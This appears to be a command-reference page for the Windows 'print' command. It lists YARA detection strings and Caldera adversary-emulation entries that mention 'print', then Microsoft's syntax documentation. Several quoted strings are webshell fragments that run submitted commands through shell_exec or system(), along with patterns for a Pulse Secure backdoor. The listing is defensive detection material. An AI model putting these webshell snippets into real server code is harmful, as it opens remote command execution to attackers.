| signature-base | apt_eqgrp.yar | $s3 = “print »out, "%02X" % ord(x[i+j]),” fullword ascii | CC BY-NC 4.0 |
| signature-base | apt_eqgrp.yar | $s4 = “print »out, sane(x[i:i+16])” fullword ascii | CC BY-NC 4.0 |
| signature-base | apt_eqgrp.yar | $s1 = “print "[+] Connecting to %s:%s" % (self.params.dst[‘ip’], self.params.dst[‘port’])” fullword ascii | CC BY-NC 4.0 |
| signature-base | apt_eqgrp.yar | $s6 = “print "[-] keyboard interrupt before response received"” fullword ascii | CC BY-NC 4.0 |
| signature-base | apt_eqgrp.yar | $s8 = “print ‘Debug info ‘,’=’*40” fullword ascii | CC BY-NC 4.0 |
| signature-base | apt_eqgrp_apr17.yar | $s2 = “print "java -jar jscanner.jar$scanth$list\n";” fullword ascii | CC BY-NC 4.0 |
| signature-base | apt_eqgrp_apr17.yar | $x1 = “print ‘ -s storebin use storebin as the Store executable\n’” fullword ascii | CC BY-NC 4.0 |
| signature-base | apt_eqgrp_apr17.yar | $x3 = “print ‘ -k keyfile the key text file to inject’” fullword ascii | CC BY-NC 4.0 |
| signature-base | apt_op_wocao.yar | $a = “out.print("All seems fine.");” | CC BY-NC 4.0 |
| signature-base | apt_op_wocao.yar | $e = “out.print((char)c);}in.close()” | CC BY-NC 4.0 |
| signature-base | apt_op_wocao.yar | $f = “out.print((char)c);}er.close()” | CC BY-NC 4.0 |
| signature-base | apt_project_sauron_extras.yar | $s2 = “Print only replying Ips” | CC BY-NC 4.0 |
| signature-base | apt_pulsesecure.yar | $s3 = /if[\x09\x20]{0,32}(CGI::param([\x22\x27]\w{1,64}[\x22\x27]))\s{0,128}{[\x09\x20]{0,32}print [\x22\x27]Cache-Control: no-cache\n[\x22\x27][\x09\x20]{0,32};\s{0,128}print [\x22\x27]Content-type: text\/html\n\n[\x22\x27][\x09\x20]{0,32};\s{0,128}my $\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}CGI::param([\x22\x27]\w{1,64}[\x22\x27])[\x09\x20]{0,32};\s{0,128}system([\x22\x27]$/ | CC BY-NC 4.0 |
| signature-base | apt_pulsesecure.yar | $s4 = /sed -i [^\r\n]{1,128}CGI::param([^\r\n]{1,128}print[\x20\x09]{1,32}[^\r\n]{1,128}Cache-Control: no-cache[^\r\n]{1,128}print[\x20\x09]{1,32}[^\r\n]{1,128}Content-type: text\/html[^\r\n]{1,128}my [^\r\n]{1,128}=[\x09\x20]{0,32}CGI::param([^\r\n]{1,128}system(/ | CC BY-NC 4.0 |
| signature-base | apt_pulsesecure.yar | $r3 = /if[\x09\x20]{0,32}($\w{1,64}[\x09\x20]{1,32}eq[\x09\x20]{1,32}[\x22\x27]\w{1,64}[\x22\x27])\s{0,128}{\s{1,128}print[\x09\x20]{0,32}[\x22\x27]Content-type/ | CC BY-NC 4.0 |
| signature-base | apt_pulsesecure.yar | $s4 = “print $_” | CC BY-NC 4.0 |
| signature-base | apt_pulsesecure.yar | $s6 = “print MIME::Base64::encode(RC4(“ | CC BY-NC 4.0 |
| signature-base | apt_sandworm_centreon.yar | $pl_socket = “socket(SOCKET, PF_INET, SOCK_STREAM,$tcp) or die print "$l$e$!$l” | CC BY-NC 4.0 |
| signature-base | apt_sandworm_centreon.yar | $msg1 = “print "$l OK! I\‘m successful connected.$l"” | CC BY-NC 4.0 |
| signature-base | apt_sandworm_centreon.yar | $msg2 = “print "$l OK! I\‘m accept connection.$l"” | CC BY-NC 4.0 |
| signature-base | cn_pentestset_scripts.yar | $s0 = “print "[] Connected to remote host \n"; “ fullword ascii / PEStudio Blacklist: strings */ | CC BY-NC 4.0 |
| signature-base | cn_pentestset_scripts.yar | $s1 = “print "Usage: $0 [Host] [Port] \n\n"; “ fullword ascii /* PEStudio Blacklist: strings */ | CC BY-NC 4.0 |
| signature-base | cn_pentestset_scripts.yar | $s5 = “print "[] Resolving HostName\n"; “ fullword ascii / PEStudio Blacklist: strings */ | CC BY-NC 4.0 |
| signature-base | exploit_shitrix.yar | $s07 = “template.new({‘BLOCK’=’print readpipe(“ ascii /* TrustedSec templae */ | CC BY-NC 4.0 |
| signature-base | gen_cn_webshells.yar | $s3 = “out.print("Hi,Man 2015 ");” fullword ascii |
CC BY-NC 4.0 |
| signature-base | gen_cn_webshells.yar | $s6 = “out.print("</pre>");” fullword ascii | CC BY-NC 4.0 |
| signature-base | gen_cn_webshells.yar | $s7 = “out.print("<pre>");” fullword ascii | CC BY-NC 4.0 |
| signature-base | gen_cn_webshells.yar | $s4 = “out.print("Hi,Man 2015");” fullword ascii | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s4 = “print "<a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&” | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s0 = “ out.print("<tr><td width='60%'>"+strCut(convertPath(list[i].getPath()),7” | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s0 = “</font><%out.print(request.getRealPath(request.getServletPath())); %>” fullword | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s4 = “print "<form action=\"".$me."?p=cmd&dir=".realpath(‘.’)."” | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s8 = “print "<td id=f><a href=\"?p=rename&file=".realpath($file)."&di” | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s1 = “print "\n".’Tip: to view the file "as is" - open the page in <a href="‘.Dx” | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s9 = “if(cmd.equals("Szh0ZWFt")){out.print("[S]"+dir+"[E]");}” fullword | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s2 = “out.print(") <A Style=’Color: " + fcolor.toString() + ";’ HRef=’?file=" + fn” | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s7 = “if(flist[i].canRead() == true) out.print("r" ); else out.print("-");” fullword | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s5 = “print "<font face=\"Verdana\" size=\"1\" color=\"#990000\">Filenam” | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s8 = “print "<font face=\"Verdana\" size=\"1\" color=\"#990000\">File: </” | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s0 = “copy ( $dosya_gonder2, "$dir/$dosya_gonder2_name") ? print("$dosya_gonder2_na” | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s2 = “python -c"import md5;x=md5.new(‘you_password’);print x.hexdigest()"” fullword | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s0 = “print "\n".’Tip: to view the file "as is" - open the page in <a href="‘.Dx” | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s1 = “print "Sending mail to $to……. ";” | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s2 = “print "Asmodeus Perl Remote Shell” | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s2 = “print "\n".’<tr><td width=100pt class=linelisting> |
CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s1 = “print "<tr><td>Server is:</td><td>".$_SERVER[‘SERVER_SIGNATURE’]."</td” | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s2 = “print "<tr><td>Execute command:</td><td><input size=100 name=\"_cmd” | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s3 = “print "error; help: head -n 16 d00r.py"” fullword | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s4 = “print "PW:",PW,"PORT:",PORT,"HOST:",HOST” fullword | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s3 = “print "<a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&” | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s2 = “print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie” | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s2 = “print(" Provenance du mail : <input type=\"text\" name=\"provenanc” |
CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s3 = “<? if($cmd != "") print Shell_Exec($cmd);?>” fullword | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s8 = “print "<form action=\"".$me."?p=chmod&file=".$content."&d” | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s18 = “print shell_exec($command);” fullword | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s5 = “print " |
CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s7 = “print " |
CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s14 = “print "<tr><td>System type:</td><td>$UName</td></tr>";” fullword | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s20 = “print "Transfered $TargetFileSize Bytes. ";” fullword |
CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s12 = “print "Sending mail to $to……. "; “ fullword | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s4 = “<? if($cmd != "") print Shell_Exec($cmd);?>” fullword | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s12 = “print « "[kalabanga]";” fullword | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s5 = “print " |
CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s6 = “print "Sorry, none of the command functions works.";” fullword | CC BY-NC 4.0 |
| signature-base | thor-webshells.yar | $s3 = “print("<p align=\"center\"><font size=\"5\">Exploit include “ | CC BY-NC 4.0 |
| stockpile | b007fe0c-c6b0-4fda-915c-255bbc070de2.yml | description: copy the contents for the clipboard and print them |
Apache-2.0 |
| stockpile | 6c91884e-11ec-422f-a6ed-e76774b0daac.yml | - source: host.print.file |
Apache-2.0 |
| stockpile | 6c91884e-11ec-422f-a6ed-e76774b0daac.yml | target: host.print.size |
Apache-2.0 |
| stockpile | 6e1a53c0-7352-4899-be35-fa7f364d5722.yml | name: Print Working Directory |
Apache-2.0 |
| stockpile | 6e1a53c0-7352-4899-be35-fa7f364d5722.yml | description: Print the current working directory on the system |
Apache-2.0 |
| stockpile | a41c2324-8c63-4b15-b3c5-84f920d1f226.yml | command: 'find ~ -type f -name #{host.print.file} 2>/dev/null' |
Apache-2.0 |
Additional Info*
*The information below is copied from MicrosoftDocs, which is maintained by Microsoft. Available under CC BY 4.0 license.
Sends a text file to a printer. A file can print in the background if you send it to a printer connected to a serial or parallel port on the local computer.
[!NOTE] You can perform many configuration tasks from the command prompt by using the Mode command, including configuring a printer connected to a parallel or a serial port, displaying printer status, or preparing a printer for code page switching.
Syntax
print [/d:<printername>] [<drive>:][<path>]<filename>[ ...]
Parameters
| Parameter | Description |
|---|---|
/d:<printername> |
Specifies the printer that you want to print the job. To print to a locally connected printer, specify the port on your computer where the printer is connected. Valid values for parallel ports are LPT1, LPT2, and LPT3. Valid values for serial ports are COM1, COM2, COM3, and COM4. You can also specify a network printer by using its queue name (\\server_name\printer_name). If you don’t specify a printer, the print job is sent to LPT1 by default. |
<drive>: |
Specifies the logical or physical drive where the file you want to print is located. This parameter isn’t required if the file you want to print is located on the current drive. |
<path> |
Specifies the location of the file you want to print. This parameter isn’t required if the file you want to print is located in the current directory. |
<filename>[ ...] |
Required. Specifies the file you want to print. You can include multiple files in one command. |
| /? | Displays help at the command prompt. |
Examples
To send the report.txt file, located in the current directory, to a printer connected to lpt2 on the local computer, type:
print /d:lpt2 report.txt
To send the report.txt file, located in the c:\accounting directory, to the printer1 print queue on the /d:\copyroom server, type:
print /d:\\copyroom\printer1 c:\accounting\report.txt
Additional References
MIT License. Copyright (c) 2020-2021 Strontic.